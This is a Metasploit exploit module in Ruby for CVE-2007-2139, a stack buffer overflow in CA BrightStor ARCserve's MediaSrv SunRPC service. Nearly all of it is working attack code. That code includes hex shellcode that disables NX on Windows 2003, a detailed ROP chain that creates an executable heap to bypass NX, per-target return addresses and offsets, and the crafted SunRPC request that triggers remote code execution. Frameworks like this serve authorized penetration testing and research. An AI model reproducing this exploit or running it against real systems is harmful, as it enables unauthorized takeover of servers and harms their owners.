modules/exploits/windows/brightstor/mediasrv_sunrpc.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::SunRPC
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ArcServe Media Service Stack Buffer Overflow',
'Description' => %q{
This exploit targets a stack buffer overflow in the MediaSrv RPC service of CA
BrightStor ARCserve. By sending a specially crafted SUNRPC request, an attacker
can overflow a stack buffer and execute arbitrary code.
},
'Author' => [ 'toto' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-2139'],
[ 'OSVDB', '35326' ],
[ 'BID', '23635'],
[ 'ZDI', '07-022'],
],
'Privileged' => true,
'Platform' => 'win',
'Payload' =>
{
'Space' => 0x300,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c_",
'Prepend' =>
# Disable NX on 2k3 to upload data on the stack
# (service crashes if the stack is switched to the heap)
"\x64\x8b\x0d\x30\x00\x00\x00" + # mov ecx, dword ptr fs:[0x30] ; PEB
"\x83\xb9\xa4\x00\x00\x00\x05" + # cmp dword ptr [ecx+0xa4], 5 ; MajorVersion == 5
"\x75\x30" + # jnz after
"\x83\xb9\xa8\x00\x00\x00\x02" + # cmp dword ptr [ecx+0xa8], 2 ; MinorVersion == 2
"\x75\x27" + # jnz after
"\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00" + # cmp dword ptr [ecx+0xac], 0xece ; BuildVersion (> SP0)
"\x76\x1b" + # jbe after
"\x8d\x89\xa8\x00\x00\x00" + # lea ecx, [ecx+0xa8]
"\xba\x00\x03\xfe\x7f" + # mov edx, 0x7ffe0300
"\xb8\xed\x00\x00\x00" + # mov eax, 0xed
"\x6a\x04" + # push 4
"\x51" + # push ecx
"\x6a\x22" + # push 22
"\x6a\xff" + # push -1
"\x6a\xff" + # push -1 (padding)
"\xff\x12", # call dword ptr[edx]
'StackAdjustment' => -10000,
},
'Targets' =>
[
['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)', { 'Ret' => 0x1002b715 , 'Off' => 0x304} ],
['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)', { 'Ret' => 0x1002b715 , 'Off' => 0x300} ],
['BrightStor Arcserve 11.1 - 11.5 SP2 (Windows All - NX Support)', { 'Ret' => 0x41414141 } ],
],
'DisclosureDate' => '2007-04-25',
'DefaultTarget' => 0
))
end
def exploit
sunrpc_create('tcp', 0x6097e, 1)
if target.name =~ /NX/
# summary:
#
# 1) get the payload address
# 2) copy the payload into a fixed buffer (data section)
# 3) allocate an executable heap buffer (to bypass NX)
# 4) copy back the payload into the heap
# 5) jmp to the payload in the heap
#
# step 1: jmp arround the atoi pointers
#
# add esp, 20h
# retn
#
# step 2: get a pointer to the stack in ecx
#
# xor eax, eax
# mov ecx, dword ptr fs:[0]
# cmp dword ptr [ecx+4], offset __unwind_handler
# jnz end
# [...]
# end:
# retn
#
# step 3: mov the stack pointer in eax
#
# mov eax, ecx
# add esp, 20h
# retn
#
# step 4: set fffff824h in esi
#
# pop esi
# retn
#
# step 5: add esi to eax (eax points to the payload in the stack)
#
# add eax, esi
# pop esi
# retn
#
# step 6: set edi to a buffer we can write (6d515301h)
#
# pop edi
# retn
#
# step 7: copy the payload to the buffer
#
# push eax
# push edi
# call _strcpy_0
# pop ecx
# pop ecx
# retn
#
# step 8: set ecx to ffffffh
#
# pop ecx
# retn
#
# step 9: mov ecx to eax (ffffffff -> MEM_EXECUTABLE)
#
# mov eax, ecx
# add esp, 20h
# retn
#
# step 10: create an executable heap
#
# push 0
# cmp [esp+4+arg_0], eax
# push 1000h
# setz al
# push eax
# call ds:HeapCreate ; create a new heap (executable for NX)
# test eax, eax
# mov hHeap, eax
# jz short loc_6d5071b5
# call ___sbh_heap_init
# test eax, eax
# jnz short loc_6d5071b8
# push hHeap
# call ds:HeapDestroy
# loc_6d5071b5:
# xor eax, eax
# retn
# loc_6d5071b8:
# push 1
# pop eax
# retn
#
# step 11: Allocate a new heap buffer (size 01060101h)
#
# push hHeap
# call ds:HeapAlloc
# pop edi
# pop esi
# retn
#
# step 12: set esi to the buffer containing the payload (6d515301h)
#
# pop esi
# retn
#
# step 13: copy the payload to the heap (executable)
#
# push esi
# push eax
# call _strcpy_0
# pop ecx
# pop ecx
# pop esi
# retn
#
# step 14: go to the heap
#
# call eax
#
# step 15:
# if 2k3 the prepend data disables NX to upload and execute
# data on the stack
#
# step 16: w00t!
data = Rex::Text.rand_text_alphanumeric(0x600)
# ret 1
data[ 0x100, 4 ] = [ 0x6d5010e4 ].pack('V')
# used to store the result of atoi
data[ 0x108, 4 ] = [ 0x6d51652b ].pack('V')
data[ 0x10C, 4 ] = [ 0x6d51652b ].pack('V')
data[ 0x110, 4 ] = [ 0x6d51652b ].pack('V')
data[ 0x114, 4 ] = [ 0x6d51652b ].pack('V')
data[ 0x118, 4 ] = [ 0x6d51652b ].pack('V')
data[ 0x11C, 4 ] = [ 0x6d51652b ].pack('V')
# ret 2
data[ 0x124, 4 ] = [ 0x6d50b27a ].pack('V')
# ret 3
data[ 0x128, 4 ] = [ 0x6d5010e2 ].pack('V')
# ret 4
data[ 0x14C, 4 ] = [ 0x6d50aa6d ].pack('V')
data[ 0x150, 4 ] = [ 0xfffff824 ].pack('V')
# ret 5
data[ 0x154, 4 ] = [ 0x6d50aa6b ].pack('V')
# ret 6
data[ 0x15C, 4 ] = [ 0x6d5057a0 ].pack('V')
data[ 0x160, 4 ] = [ 0x6d515301 ].pack('V')
# ret 7
data[ 0x164, 4 ] = [ 0x6d50b938 ].pack('V')
# ret 8
data[ 0x178, 4 ] = [ 0x6d502df0 ].pack('V')
data[ 0x17C, 4 ] = [ 0xffffffff ].pack('V')
# ret 9
data[ 0x180, 4 ] = [ 0x6d5010e2 ].pack('V')
# ret 10
data[ 0x1a4, 4 ] = [ 0x6d507182 ].pack('V')
# ret 11
data[ 0x1a8, 4 ] = [ 0x6d505c2c ].pack('V')
data[ 0x1ac, 4 ] = [ 0xffffffff ].pack('V')
data[ 0x1b0, 4 ] = [ 0x01060101 ].pack('V')
# ret 12
data[ 0x1bc, 4 ] = [ 0x6d50aa6d ].pack('V')
data[ 0x1c0, 4 ] = [ 0x6d515301 ].pack('V')
# ret 13
data[ 0x1c4, 4 ] = [ 0x6d50f648 ].pack('V')
# ret 14
data[ 0x1cc, 4 ] = [ 0x6d506867 ].pack('V')
data[ 0x260 , payload.encoded.length ] = payload.encoded
else
data = Rex::Text.rand_text_alphanumeric(0xA64)
off = target['Off']
data[ off, payload.encoded.length] = payload.encoded
data[ off + 0x73c, 2 ] = "\xeb\x06"
data[ off + 0x740, 4 ] = [ target.ret ].pack('V')
data[ off + 0x744, 5 ] = "\xe9\xb7\xf8\xff\xff"
end
data = "_" + data + "_1_1_1_1_1_1_1_1_1"
request = Rex::Encoder::XDR.encode(1, 1, 2, 2, 2, data, 3, 3)
print_status("Trying target #{target.name}...")
begin
ret = sunrpc_call(0xf5, request)
select(nil,nil,nil,20)
rescue
end
sunrpc_destroy
handler
disconnect
end
end